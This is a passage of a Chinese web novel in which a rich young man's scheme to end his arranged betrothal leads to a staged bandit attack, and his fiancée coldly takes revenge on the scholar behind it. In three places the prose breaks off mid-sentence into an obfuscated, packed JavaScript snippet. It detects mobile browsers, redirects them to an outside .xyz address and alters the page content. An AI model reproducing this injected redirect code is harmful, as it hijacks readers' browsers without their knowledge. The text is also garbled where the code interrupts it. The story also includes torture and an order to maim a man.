他疑心李青壑是诓自己去为他作配，否则做这一身富贵逼人的打扮干甚？ 9. 遇山匪蒙面拔刀助，识伎俩错怪将心凉 李青壑对卜世友的怀疑浑然不觉。 直到李青壑将人带到福佳寺，转头穿着一身锦衣华服隐于暗处，卜世友这才放下心来。 他依照交代的时间守在山门外。 不多时，见娇客款款而至。 魂牵梦萦的美人不再以帷帽遮面，大大方方走在人群里，这份美貌在山清水秀间独一无二的亮眼。 她的目光平静地扫过卜世友，秀眉微蹙。 既没有看到杜夫人，也不见疑似李青壑的人，严问晴无奈一笑，心道：莫非他想用爽约的法子戏耍我？ 正思索着，一道声音横插进来。 “姑娘可是在等人？” 严问晴闻声看去，是刚刚扫过一眼的斯文书生，又拿眼撇开。 一旁的凝春动两步隔开二人，对卜世友道：“我家娘子是待嫁之身，还请公子注意身份。” 卜世友心里闪过一丝快意，暗道：这可是你的未婚夫婿请我来的。 他笑道：“姑娘怎能确定，我不是你要等的人？” 这话说的奇怪。 严问晴转过头敛眉仔细打量他。 见他这衣物虽然合身，但袖口翻卷、衣摆歪斜，显然是不常穿这样繁复华贵的衣裳。 偏又说出这种暗有所指的话。 严问晴暗暗记下，对卜世友的话无任何回应，也不继续在山门外等不靠谱的李青壑，径直入寺内。 卜世友被忽视个彻底。 他面上骤然转阴，心下恨恨道：等……有你求我的时候！ 李青壑隐约瞧见卜世友和一名女子在交谈着什么，只是他躲得远，福佳寺又香火鼎盛，吵吵嚷嚷的，既看不清楚，又听不真切。 他步子刚抬起来，又立马收回去。 这样一身光鲜衣着，只要从暗处现身，定会引起严娘子注意——李青壑再次闹不清自己出门时究竟怎么想的，为什么偏偏要特意去换这身招眼的衣裳。 他见卜世友似向这边看来，忙招手示意。 本指望问问卜世友方才和严娘子说些什么，岂料对方却像是没看见，转头入寺内。 李青壑踌躇片刻，寻摸到一处小径，试图绕进寺里。 他攀着一株老松翻墙的时候，还有闲心思索先后进入寺中的二人这会儿或许在做什么。 既然在门口能搭上话，也许现在正相谈甚欢。 严娘子的祖父曾任高官，她又那般受看重规矩的杜夫人喜爱，恐怕就是个呆板的书架子，平日里八成捧着他听着就头疼的诗词歌赋奉读，与卜世友这种读书人定有话聊。 待成功撮合两人，解了他这桩不情不愿的婚事，若杜夫人真心喜欢严娘子，他倒不介意亲娘认个义女，那些抬进严家的聘礼充作礼金赠与严娘子也无妨。 只是想想，严娘子大他三岁。 若真拜杜夫人做义母，那他岂不是要叫人一声“姐”？ “姐姐”。 李青壑莫名咀嚼这两个字，直到轻喃出声才反应过来，忙打几下嘴，唤回正经神思。 刚回过神，一低头，李青壑便与树下一名持棍武僧眼对眼。 他暗道一声：不好！ 立刻旋身麻溜顺着树干滑下去，听着一墙之隔的喧闹，着急忙慌将自己藏入隐蔽的角落里。 真是偷鸡不成蚀把米。 外边正兵荒马乱的时候，严问晴的身边却是一片安静祥和。 她出手大方，这些年常捐香火，故福佳寺住持特意为这位大小姐辟出一间清净的寮房，上尊准提佛母像，三目十八臂的佛母俯瞰下首的信徒，半阖的眼似悲悯似无情。 严问晴拜佛。 只是她跪在佛像下，心中想得却是：若神明当真公允，为何会叫一场小小的风寒夺去一位刚正不阿两袖清风的老人安享晚年的时光？为何会让宅心仁厚、义利并举的夫妻双双落河溺亡？为何要逼得弱质女流蝇营狗苟独木支厦？ 她睁开眼，看着自己礼佛的两只素白纤手，只觉得可笑之极。 隔着渺渺青烟，严问晴无礼地直视佛母，心中求解，耳边却安静的只有她的呼吸声。 严问晴起身，唤来凝春返程。 闻言凝春一怔，又想她们不是潜心修佛的人，既然李家爽约，继续待着也没意思。 遂出去吩咐屋外的随从备马返家。 那头的李青壑因前头形迹可疑，引来寺中武僧围追堵截，又因打扮太过招摇，一旦从藏身的地方出现，立马有警惕的武僧上前“请”他，他还要忙着盯计划进度，既不想和这群秃驴掰扯，又怕被扭送官府，只得一边躲人一边寻人。 也不知严娘子去了何处。 李青壑一直在福佳寺外围打转，扭身余光一扫，瞧见个眼熟的标记，定睛再看，真是严家的马车！ 这才过去多久，严娘子怎么要走？ 他顾不得许多急忙追上去。 追了几步路，又一拍自己的木头脑袋，暗道：我追她做什么？ 难道他能将严娘子的马车拽回山上去吗？ 心知自己这回徒劳无功，李青壑悻悻停下步子，预备折返回去找卜世友问个清楚。 这厮也忒让他失望。 明明都和严娘子遇上了，怎么留不住人？ 就在他转身的时候，瞧见两个穿着粗布短打的家伙朝严家马车离去的方向指手画脚，随后鬼鬼祟祟的溜进一旁树丛。 李青壑其人，一贯粗枝大叶。 但他用心的时候，又比任何人都要敏锐，拥有着近乎百发百中的直觉——尤其是在亲娘因外事极其不悦，他总能未卜先知不去触杜夫人的眉头。 这会儿熟悉的不安涌上心头，李青壑看向马车离去的方向想：左右我无事，跟一程又如何？ 于是提着手中宝剑解下自家拉车的马儿，也不管描金嵌银的紫檀木车身何去何从，更是将一道拉来的卜世友抛之脑后。 他就这般骑着骏马追严家马车而去。 严问晴掀着车帘赏山景，忽然眉头一蹙，唤来凝春低声嘱咐几句，凝望闻言瞪大双眼四望一圈，果然在路旁狰狞的老树上瞧见些不寻常的痕迹。 她立马吩咐一名随从佯装小解脱离，折返回山上请护院武僧来助。 ——严问晴怕这路上还有眼睛，发现她想要回头提前动手。 尽管严问晴神情自若，拿赏景做借口令马车速度更慢以拖延时间，可没过多久道旁丛林里还是传出不寻常的动静。 且看那随从拼了命往山上跑，恰与策马下山的李青壑撞见。 随从见一少年公子驭马疾驰忙拦住他，三言两语将事情交代，请他返身上山求援。 李青壑听说严问晴使马车降速待援，问得这名随从懂骑术，立刻翻身下马，紧握宝剑让他上山报信。 他则飞速向山下奔去。 人是他做主约出来的，要是出了差错，亲娘岂能饶他？ 跑着跑着，李青壑还顺手扒掉身上外衣、金冠，又撕了块衣摆遮面，把剩下的布料团成一团丢到路边树丛里。 更奇的是他速度竟一点儿没降。 就是披头散发的模样活像个打林子里钻出来的野人。 马车彻底停下来。 不多时，树丛里钻出七八个人，打头那个脸上有个显眼的大痦子，冲严问晴邪笑道：“小娘子好眼力。” 严问晴定了定神，主动开口：“光天化日之下，尔等竟敢在官道打劫？” 这群山匪却不打算多说，现身后便立即挥着手中铁器冲上来。 严问晴立时反应过来——他们不图钱，只图人。 因这条路走惯了，从未听闻有山匪之流出没，严问晴出门单点三五驭马驾车的随从，身边人手不够。 这群人显然是冲她来的。 她心一横，趁着山匪与随从缠斗的工夫，迅速解开马身上套车的绳索。 “娘子小心！” 严问晴闻声迅速撤身跌回马车里，但见一只蒲扇似的大手刚刚险些抓住她的脚踝。 立马有随从扑上来拉开逼近马车的山匪。 好在严家的马匹训练有素，不会轻易受惊。 严问晴深吸一口气，抽出头上发簪半戳半扯地拉断绳索，数次用力过猛刺到自己掌心，洇出的血迹很快染红一片白马的鬃毛。 她爬到马背上，因没有马鞍只能死死抱住。 严问晴夹紧马腹瞅准空当大喝一声，马儿受命当即撒开腿逃奔生天。 就在这时，烈日映着剑光从她眼前一闪而过。 严问晴下意识后望，迎着日光瞧见个宽肩窄腰的…… ……野人？ 李小爷虽然文不成，但为着横行霸道的时候能跟硬茬过上几招，也是正正经经学过几年功夫，这会儿横斩竖劈气势磅礴，看着很有练家子的架势。 山匪本想在官道上速战速决，没料到严问晴这三五家丁竟有悍不畏死的忠勇，又冒出个蒙面的绊脚石，未免自个儿折进去，立马风紧扯呼，溜之大吉。 虽解了围，李青壑却怕这些歹人卷土重来不敢走。 犹豫的工夫，严问晴已经驱赶着白马踱步回来。 李青壑忙将乱发拢到面前，一丝一毫都不敢露，生怕自己的英雄救美叫严娘子一见钟情，更毁他的妙计。 轻灵的嗓音紧绷后还未完全松弛，带着几分沙哑：“多谢公子相救。” 虽说严娘子只在上次拜访李家时听得他一顿鬼哭狼嚎，可李青壑还是怕出声被认出，电光火石间生出些急智，张嘴使劲发出点气音，装成是个哑巴。 因长发遮挡，李青壑没能瞧见严问晴若有所思的神情。 就在严问晴准备出言确认猜测的时候，又一阵喧闹响起，上山传讯的随从领着寺中武僧来了。 严问晴从马上滑下来，由凝春搀扶着向前来的僧人道谢。 从李青壑身旁走过时她微微偏头。 李青壑立马后退，拿手捂着脸。 欲盖弥彰。 他也知道自己这般行径很是可疑，只想赶紧趁乱溜走。 偏那名借马的的随从通过他手上那柄剑鞘辉煌的宝剑认出了他，冲高呼一声“公子”，牵着李青壑的马上前归还。 严问晴的目光落在那匹油光水亮的骏马上。 也没有马鞍，只在马首上套着笼头。 若非严家养马的随从马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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严问晴肃然道：“那群歹徒手持铁器，衣裳老旧却还算齐整，不像刀口舔血的土匪，更何况在游人往来频繁的官道上行打劫之事，定是早有预谋。你使人仔细查查，安平县游手好闲的流氓里有没有这样的人。” 凝春愕然：“娘子觉得山匪也是假？” “那这出山匪劫道的戏……” 能清楚知道严问晴今日动向的，只有两户人家。 严家自不必说，上下一心宛如铁桶。 就算不论品行，杜夫人也绝没有立场做出这等下作的安排。 凝春想到今日并未现身的李家小爷，又想起他那些拒婚的难听话，胸中瞬间被怒火挤得满满当当：“莫非是李家那个赔钱货设计陷害娘子，欲使娘子主动退婚？” 严问晴沉吟道：“他今日既然主动相助，不可能打这样的主意。” “主动相助？”凝春瞪大了眼，随后想起今日那个举着一柄光彩熠熠的宝剑，但蓬头垢面的怪人，“那是李家的公子？” “他刻意蒙面披发隐藏身份，甚至只着里衣，可他这身衣裳是上好的绫罗，洁白新亮。”严问晴摊开受伤的手，任严家女医清创包扎，另一只手则端起刚上的茶碗浅啄，“除了避我如蛇蝎的李家公子，我想不到还有谁能干出这种自欺欺人的蠢事。” 凝春闻言却更糊涂了：“那李家公子既然不愿娶娘子，又何苦设计？” 杯中展开的叶片随着水波不得不撞在一块。 严问晴放下杯盏，神色倦倦：“他许是替旁人安排了一出英雄救美的好戏，只是中途出了差错，不得已才以身试险。” “顺便查查今日山门外那个无礼的书生吧。” 此时刚刚回到家中的李青壑尚且不知有半口黑锅已经严丝合缝地扣到他头上。 他披着发，那身织金绸缎制成的外衣像抹布一样被他甩在肩头，手上勾着破烂似的金冠，堂而皇之回到家中。 却说先前李青壑驾马逃离后，打山间小道遛一圈，又绕了回去。 他心道：衣裳还没捡回来。 也不知一向指缝里能漏船的李小爷何时这般勤俭持家的。 方才冲突的地方只余下零零散散的血迹。 李青壑一眼便瞧见车辙之间落了个缃色的香囊，他拾起香囊，见其上仅有简单的方胜纹，边角绣着一个小小的“严”字，稍贴近些，便能嗅到清冽淡雅的香气。 他的脑海中忽然闪过一道倩影。 挡在眼前发丝似帐幔般朦胧映得那道秾纤得衷的身影。 李青壑忽然想：这阴魂不散的影子，不仅印在他的屏风上，现在还要印在他的头发上。 但他把香囊揣进了怀里。 心道：这香囊好闻，款式又不女气，就当是给我舍命相助的谢礼。 丝毫不觉能以香囊定情的世道，他这种行为多么暧昧。 不过收到这份自个儿找来的谢礼，助人为乐的李小爷总算开心了些，乐呵呵牵着马搭着衣裳回家去也。 而后，就在房间的铜镜里照见了一道鬼影。 李小爷天不怕地不怕，也被突然冒出的黑影唬了一跳，凑近看去才发现正是形容狼狈的自己，顿时怒不可遏，朗声唤来竹茵，急令竹茵备上镜衣盖住这面照不出他英明神武的破镜子。 10. 藏香囊朝令夕改，入迷梦六神无主 有些人胆子小，乍照得镜影总疑神疑鬼，怕叫镜子摄了魂去，遂不用镜子的时候便罩得镜衣，只是李家不讲究这个，李青壑又无惧鬼神之说，故栖云院的小库房里不备镜衣。 竹茵办事兢兢业业，听得李青壑吩咐，忙裁了一块四四方方的绸缎盖在镜子上。 一扭头，便见没事找事的李小爷捋着头发打量新换的屏风。 他的性子风风火火，嫌弃身边小厮磨磨唧唧，平常类似简单绾个头发这样的小事懒得假于人手。 不过见他盯着屏风出神，竹茵心下“咯噔”，直觉不好。 果然，李青壑目光转到他身上，随口道：“这檀木的颜色暗沉，不大透光，换了。” 新屏风走马上任不过几天，又被主人厌弃。 明明是他要求换个不透光的屏风，这会儿却嫌弃人家不透光。 竹茵感觉前次搬屏风时撞着的腰身又隐隐作痛，心里叫苦不迭，口中只能恭恭敬敬地问：“少爷想换个什么样式的？” 李青壑歪着头，好似在思考，又好似发呆没听着竹茵的话。 过了半晌，他闷闷地说：“先前那个就挺好。” 竹茵：…… 被主子无辜折腾一顿的小厮扁着嘴，招罗人将“新欢”打回冷宫，去库房迎回“旧爱”。 那边三五仆从忙着搬屏风，这边李青壑自个儿捋顺打结的烦恼丝，正正经经绾好发，又换上一身简便的衣裳，揽镜自照，见镜子里映出个清清爽爽的端正小郎君，方满意地点点头，随手把新镜衣丢给刚刚摆正屏风的竹茵。 “不要这玩意，麻烦。” 竹茵：…… 得亏李家不由李小爷做主，否则以这朝令夕改的作风，一家倾颓也不过是朝夕之间。 跟了这样的主子，能怎么办呢？ 竹茵心里哀叹一声，搭着镜衣抱起李青壑方才换下的衣裳出去。 “等等！”李青壑一摸胸口，猛地叫住走到门口的竹茵。 竹茵心下大叫一声：又怎么了祖宗！ 人赔着笑转身。 李青壑一把将他手上的脏衣服抢过来，挥着空闲的手臂令他退下，又反手将房门“砰”一声关上。 ——窗户也紧随其后关上。 神神秘秘，鬼鬼祟祟。 道李青壑这是在做什么？ 原来他方才摸着胸口，忽然发现自己拾回来的香囊不见踪迹，这才想到那堆衣物，生怕叫人发现夹在里头的香囊，急忙唤住竹茵，把脏衣服一股脑夺回来。 在里边翻翻找找半天总算搜出那枚小香囊。 确认没有不慎遗失后，李青壑稍松了口气——可见他不是对这类惯常用于私相授受的物件一无所知，到底听书看戏读话本，才子佳人的故事纵不以为意，也总知晓一二。 他将鼻尖凑到香囊边深吸一口，汲取其中已然浅淡的香气，顿觉神清气爽。 可左顾右盼，又不知将香囊藏在哪里最安全。 犹豫片刻后还是把香囊往怀中藏。 可恨这身衣裳在他腰身处紧紧一束，虽是勾勒出矫健的身形，却也叫一个小小的香囊都无处隐藏，在心口的位置直愣愣戳出个突。 李青壑慌忙忙把香囊掏出来。 他盯着自己主动拾回来的烫手山芋无所适从。 又不能戴出去。 指尖在那个“严”字上摩挲半晌，某一瞬，李青壑突然冒出个“好主意”——把这“严”字拆了不就死无对证了吗？ 他在细密针脚绣出铁画银钩的“严”字上捏了半晌，也没下定决心拆掉这个字。 最后将香囊暂且藏在枕下。 出门的时候还频频回头，总惦记着这枚香囊，尽管将脏衣物丢给竹茵时，已经严厉禁止他们翻弄屋里的物件，也怕风儿虫儿作乱，叫这秘密暴露。 一个劲的杞人忧天。 倒是竹茵早习惯主子风一阵、雨一阵的，将李青壑的吩咐记下，全不去深究背后目的。 天色渐暗。 李青壑一抹脸，去到主院里陪爹娘用晚饭。 李父刚推了外边的交际归家，就瞧见儿子伴着傍晚的凉风施然而至。 还没到饭点呢。 平日里没瞧见他这么积极过。 八成另有所图。 对儿子秉性了如指掌的李父暗暗警惕。 李青壑朝李父打了声招呼，将身往垫着软垫的太师椅一丢，翘上二郎腿便道：“咱们安平县这般不太平？官道上都有山匪胆敢抢劫。” 在这个家里，他也就仗着自己是根独苗，只敢在亲爹这儿逞威风。 李父被他这番话说愣住。 本是经商为生的人，哪里会不清楚各处官道的安危？他从未听说过附近的官道有山匪作乱，又知道儿子虽不着调，但绝不会无的放矢，遂打算细问是哪里出了匪乱。 还未张口，便听一道沉肃的声音传来。 “什么土匪？” 杜夫人板着脸入内。 李青壑忙不迭撤下腿、撑起骨头，端端正正坐好。 他见母亲看过来，心道：我若如实相告，娘定觉得我对严娘子出手相助就是有好感，这段婚事更没法作罢。 于是李青壑含糊道：“路上听人说的，我也不知是哪里的土匪。” “恐怕是危言耸听，不必放在心上。” 听父亲这样说，李青壑心里不忿，可旁边站着铁面的亲娘，他不敢开口反驳。 杜夫人也未将此事放在心上，对李青壑说起更为重要的事情：“老实说，你在外边打什么鬼主意？” “什么？”李青壑佯装一无所知。 “别在这儿装傻充愣。”杜夫人轻拍桌面，“你假借我的名义，约我旧友今日登门来访，为的就是支开我自己去福佳寺。你想做什么？” 李青壑没打算一直瞒着杜夫人。 但没想到亲娘如此精明，与老朋友寒暄几句便从对方的话中猜到来龙去脉，她还替儿子瞒下这桩失礼的行为，不动声色应下写信相邀的事情。 李青壑又搬出今早的理由：“有您在，严娘子当然千般好，说不准她平时都是奉承呢。” “那你今日去见她了？” 李青壑连连点头：“自是去见了。” “如何？” 这李青壑哪里说的上来？ 他支吾了好半天，想到山门外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488708|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜世友没和严娘子说上几句话，对方就丢下他入寺，便立刻扬声道：“她倨傲得很，我刚开口她就甩下我走了。” 杜夫人皱了皱眉：“此话当真？我可是要去严家拜访一二的。” 李青壑大惊，立马补充：“不过我没道明身份。” 他又道：“面对素不相识之人如此无礼，这不是两面三刀吗？” 杜夫人却笑了：“严娘子而今与你有婚约在身，遇到陌生男子上前攀谈，自然是要避嫌的。” 显然她听闻此事对严问晴更加满意。 而李青壑听杜夫人这般讲，心里也莫名被什么撞了下，耳根悄然发热。 杜夫人嗔道：“你果真是阳奉阴违，不自报家门便上去惹人家。” 李青壑现在满脑门浆糊，连母亲说了什么都没听清，胡乱点点头，后边更是晚饭吃了什么皆忘得一干二净，直到洗漱完躺在床上，那股淡淡的香气悄然缠上来，他才回过神来。 原本呆怔怔的少年猛地鲤鱼打挺，惊得一旁守夜的竹茵茫然望来。 李青壑挥挥手令他出去：“以后不需要守夜，你们晚上睡去就是，小爷有手有脚，要做什么自个儿能动。” 竹茵应了一声，顶着满头疑惑退出去。 阖门的动静刚落下，李青壑迅速从枕头底下掏出那枚香囊，香味浓了些，李青壑觉得淡雅的香味随着他的呼吸布满五脏六腑，撑得这副少年身躯充实又满足。 他揉捏着香囊静静出神。 原来今日严娘子没和卜世友说上几句话就离开，是因为她已经是自己的未婚妻了。 可她甚至都没有见过他。 李青壑脑中一炸，定定地盯着香囊——没错，她根本没有见过自己，只是因为严守礼义纲常才拒绝和别的男人搭话。 他瞬间泄了气。 香囊散发的香气又像是只流于表面，轻飘飘从他鼻尖抚过。 李青壑想到杜夫人说话时的笑脸，她现在对这个儿媳妇肯定更加满意了。 该怎么办？ 李青壑紧紧攥着手中的香囊，又一条“妙计”浮上心头。 不如…… 将香囊交给卜世友，让他冒领出手相助的恩情，救命之恩以身相许，话本子里不都是这么写的吗？ 真是个好主意。 就是不知道为什么，刚健有力的五指死死握着香囊，心也跟这香囊似的被牢牢攥紧。 李青壑这一晚睡得不怎么踏实。 他梦见一位长发披散的女子，骑着无鞍的白马从面前跑过，他在梦中紧追着对方不放，跑的直到喉咙里泛起铁锈般的钝疼。 下一瞬，他变成了那匹白马，轻柔的绸缎隔绝不了灼热的体温，柔软的身躯紧紧抱住他，因恐惧微微颤抖。 李青壑从梦境里挣脱，汗湿的里衣贴在背上。 残梦渐渐褪去。 他躺在床上疲惫地翻身，接着浑身一僵，炸毛似的迅速起身掀开薄被，瞬间一道霹雳在脑海中猛烈炸开。 我、我……？ 不对！ 我都十七了，这怎么可能是……！ 李青壑在电光火石间想明白过来，面色红中泛青。 11. 小郎君心慌成夯货，美娇娘怨怼化罗刹 李青壑脑海中闪过平日里狐朋狗友的荤话，不知哪本杂书里看过的促狭，好半天才接受这个现实。 ——他不干净了。 怎么会……这样呢？ 脸比外边刚冒尖的太阳还红的李青壑迅速从衣柜里掏出崭新的裤子换上，又盯着皱巴巴揉成一团的旧裤子，仿佛在看什么棘手的大问题。 好一会儿，他拿起旁边的烛台。 一不做二不休，干脆来个毁尸灭迹！ 直到烧焦的味道从窗户缝钻出去，外边的仆从发现不对，着急地冲进来。 就看见平日嬉皮笑脸吊儿郎当的主子一脸阴恻恻地盯着地上燃烧的裤子，好似在看与他有着不共戴天之仇的家伙。 竹茵赶忙夺过李青壑手里的烛台，示意提水的小厮浇灭火苗，免得误烧了其它物件。 眼见万恶的罪证还没完全化为灰烬，李青壑当即同竹茵撕扯起来，大喝令众人退下，可栖云院的仆从不知内情，当主子犯了什么疯病，岂敢让他拿生死做儿戏，嘴上唯唯诺诺，行动却拒不肯退。 万幸这条裤子已经烧成个开裆裤，某种痕迹一点儿都没留下。 李青壑松了口气，看院中仆从一派草木皆兵的模样，哼笑一声：“瞧你们吓的，不过是耍一耍。” 栖云院里哪有人敢反驳他？ 只竹茵仗着陪李青壑一道长大的情分，小声嘟囔：“白日玩火，晚上尿床。” 却不知这话恰恰戳中了李青壑的肺管子。 只见他急躁跳脚道：“胡说八道！这种哄小孩子的瞎话不许再说！” 李青壑又见一群人里里外外围着，顿觉屋里憋闷，再一想到枕头底下还藏着的物件，闷气里霎时间涌上许多急躁，立马把仆从往外撵。 阖上门，李青壑一把掏出香囊，盯着它像在看万恶之源。 好半晌他终于下定决心，匆匆换一身简便的衣裳揣着香囊就出门去。 昨夜同样未得好眠的，还有一位。 与李青壑乱梦缠身不同，严问晴一夜未睡，是在审问调查。 女医正为她手伤清洁换药。 洁白的纱布上晕染开鲜红的血迹，却只在外边两层，不曾渗到里头。 女医聚精会神，对异常的情况恍若未察。 昨日严问晴令严家下人悄然寻查，果然在安平县流民堆里发现那个脸上有大痦子的家伙，趁夜黑风高时将人套袋打晕带回严家。 审了一宿，这厮连三岁尿床都交代得干干净净。 倒也巧，这人还为户自矜做过些不可说的勾当，省了严问晴一些麻烦。 确认他无所隐瞒后，严问晴让仆从照旧行事。 一夜未眠，严问晴心口闷闷的，从来清明的神思也有些混沌，不知怎么一晃神，忽然觉得自己昨日的心绪着实天真可笑。 她还看人家顾头不顾腚的模样有趣。 却不知这是个胆敢伙同流民伪装山匪劫道，意图辱她名声的豺狼。 掌心钝钝的疼蔓延到心口。 严问晴闭了闭眼，平直的嘴角终于又微微勾起——真是，看走了眼呀。 凝春端着清淡的早饭入内，小心翼翼地觑了眼主子的脸色，见她这样的笑容心里却猛地一颤。 “严大来讯，已经抓住那人，正寻机带回来。”她轻声道。 严问晴拿汤勺拨弄着浓稠的米粥，漫不经心地含了一口，道：“小心行事。” 凝春了解主子。 别看她这会儿面色如常，但青天白日还冒风险要求严大将那人带回严家，可见娘子这是动了真怒。 且说李青壑揣着香囊来到卜世友家门前。 可久不见他叩门。 反在门口来回踱步犹豫不决。 他隔着衣物拊在身前的香囊上，那股香气似乎从领口里钻出来，悄悄点在他的鼻尖。 我还怪喜欢这味道的。 要不先弄清楚香料配方，再将香囊给出去。 李青壑如是想着，朝卜世友家门的脚尖往外一转。 就在这时，里头忽然传来“哐当”巨响。 李青壑愣了下，出于担忧三两步上前叩门询问。 好半天，门后传来闷闷的声音：“无事，我不小心撞翻了花架。” 接着那熟悉的声音又急切到异常地说：“我生病了，你快走吧，小心过了病气给你。” 可惜李青壑也想着快走。 他既不记得卜世友家里屁大点的院子根本没地方摆花架，也不觉得隔了道门还怕传病气是多么诡异的事儿，就在门口积极应和一声，扭头走了。 卜世友听他一点儿没犹豫就离开，心中连骂蠢货。 很快，他眼前一黑，彻底失去感知。 等恢复知觉的时候，卜世友已身处一间昏暗的房间中。 桌上点着一盏灯。 豆大的火焰照亮一张明媚艳丽的面孔。 “严娘子？” 卜世友怎么也没想到，绑架他的人竟会是看起来温柔娴静的严问晴。 严问晴瞧都没瞧他一眼。 她抬手，将卜世友绑来的严大便捧着一套华贵衣物走到他面前。 正是他山门前所穿。 “哪来的？”严问晴拨弄了一下火芯。 卜世友道：“小生虽家贫，也需要往来交际，故省吃俭用买了这样一身，还请严娘子小心些，莫要毁坏了它。” 严问晴端起烛台走向卜世友。 明光向他逼近，亮得灼目。 烛台已经举到卜世友面前，严问晴依旧没有停下，卜世友感觉火焰都要咬到他的鼻子。 一旁的严大丢下衣物，上前摁住挣扎的卜世友，攥着他的头发拽起又扒开他的眼皮。 严问晴一言不发。 她的视线甚至只专注在烛台上。 端着烛台的手微微倾斜。 卜世友清楚地看见蜡油从边缘缓缓冒出，燃烧的热气炙烤得他眼焦痛，眼见着蜡油要滴到他眼睛里。 “是李公子！”卜世友再不敢隐瞒，“是李公子买的！” 倾斜的动作一顿。 卜世友死死盯着要掉不掉的蜡油，大气都不敢出。 “他为什么要为你置办？” 严问晴开口时，离得近的火苗一抖，光影变化，那蜡油便好似一颤，摇摇欲坠。 卜世友半点说谎的心思都不敢有，倒豆子般急促地说：“他要我去福佳寺勾搭您，让您主动退婚。” “假扮山匪的流民是何人所寻？” 卜世友一噎，迅速道：“也是他！他怕见一面不成，编排了英雄救美的好戏，可我、可我不敢。” 他原意使人先掳走严问晴一日毁她名节，再佯装救她。 偏被李青壑搅了局。 昨日卜世友藏在暗处，将一切尽收眼底，对李青壑这言而无信的小人恨得牙痒痒，此时便一股脑全推李青壑头上，让他们豪绅富商自斗去。 “不是掳走一日一夜，毁我名声吗？” 严问晴勾起了一抹笑。 在明亮火光的照耀下却似地狱烈焰里走出的画皮罗刹。 卜世友一惊。 他瞬间想明白，严问晴这是早就已经抓住假扮山匪的流民，清楚得知此事与他脱不了干系，才将他抓了过来。 紧接着卜世友又暗暗安心。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488709|185753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>万幸他花钱收买那些流民时用的是李青壑的名头，就连给出的银两都是李青壑平日送给他的，不怕露馅。 他心神稍定，忙摆出忏悔的模样：“这全是李少爷的主意。我、我不敢忤逆于他，只是实在怕事，在福佳寺时慌着要报官，他怕事情败露，将拉车的马解下骑走，赶去解围。” 这套说辞与李青壑的行动吻合。 严问晴本就对李青壑恰到好处的现身相助抱有怀疑，若说二者内讧，李青壑不得已着急出面收拾烂摊子正是合理。 虽有火光照亮，严问晴的神色看着却更冰冷。 卜世友想，即便严问晴将此事闹大，也有李青壑给他顶锅，李家不可能放任此事对簿公堂，李青壑更是百口莫辩，届时两家婚事八成要告吹，他虽丢了李青壑这条肥鱼，但为了堵他的嘴，李家定要许他财帛。 不论怎样，他都不亏。 可严问晴拿起烛台，冷冷地说：“签下这份契书，今日之事不许向外透露半分。” 这是要打碎牙往肚里吞。 卜世友心道：看着飘摇若仙的美人，实则也是个满身铜臭的家伙，为了嫁进李家连这种事都能忍。 可不用丢了李青壑这人傻钱多的大鱼，卜世友也是满心欣喜。 被烛台熏半晌，他这会儿头晕眼花，偏烛台又已经被严问晴拿走，昏暗的环境下只能瞧见一纸契书，最后卜世友还是循着严大的指引签字画押。 严大收好契书双手奉于严问晴。 “严娘子，我能走了吗？” 卜世友现在看严问晴，再无半点旖旎念头，只想快些逃出这毒妇的地盘。 “走？”严问晴冷然道，“已经卖身给我严家，莫非是想做逃奴吗？” 卜世友闻言大惊失色。 他忙向严问晴手上的契书扑去，却被严大迅速压倒在地。 卜世友难以置信地瞪着那薄薄的契书，终于想明白了严问晴的意思，朝着她破口大骂：“你这蛇蝎心肠的毒妇！你设计害我！这契书不作数，我是要考取功名的，岂能做你的奴仆！你不得好死！” 严问晴转身，头也不回的淡然说道：“毒哑他的喉咙，挑断他的手筋脚筋，远远发卖了。” 身后的谩骂声愈发激烈。 那因为严问晴走出去短暂流进来的阳光，也随着一声沉重的关门声消失得无影无踪。 不多时，严大至花厅向严问晴回禀。 严问晴听完，问他卜世友的亲眷关系。 严大答：“此人尚余一老母，他在县城攀附李家，却将老母弃置乡下不管不顾，老人身患重病，时日无多，数次去讯求他一见，他忙于应酬又嫌老母无用屡屡推拒。除此之外，尽是狐朋狗友，大抵不会对他的来去挂心。” 严问晴道：“既如此，以卜世友的名义将老人接到庄子奉养晚年。” “事情办好了，不要叫人看出首尾。” 严大应和一声转身退下。 名为奉养，实则是将卜世友这唯一存世的亲人看管起来，以防节外生枝。 可怜老人听闻儿子接她，高兴得从床上爬起，枯槁的脸上都多了几分红润，在庄子住上半年，虽不曾得见孩儿，却受人精心看顾，庄子上下得主家吩咐，常常同她聊起卜世友的“近况”，听孩子的前程蒸蒸日上，老人亦心花怒放，即使想念孩子，也不敢多言求见。 及至年末，老人连流食都咽不下，自觉时日无多，央求照顾她的“邻里”请孩子来见最后一面。 在她弥留之际，隐约瞧见个玉立身形向她走来，逆光而行辨不清模样。 她当那是多年未见的孩儿，终于安心咽下最后一口气，含笑而去。 12. 论调香晴娘投其所好，训谷子主人调教有方^…… 卜世友平日交往的朋友，去他家中寻过几次皆不见人影，这一群玩乐的人哪里缺得他一个，遂将其抛之脑后。 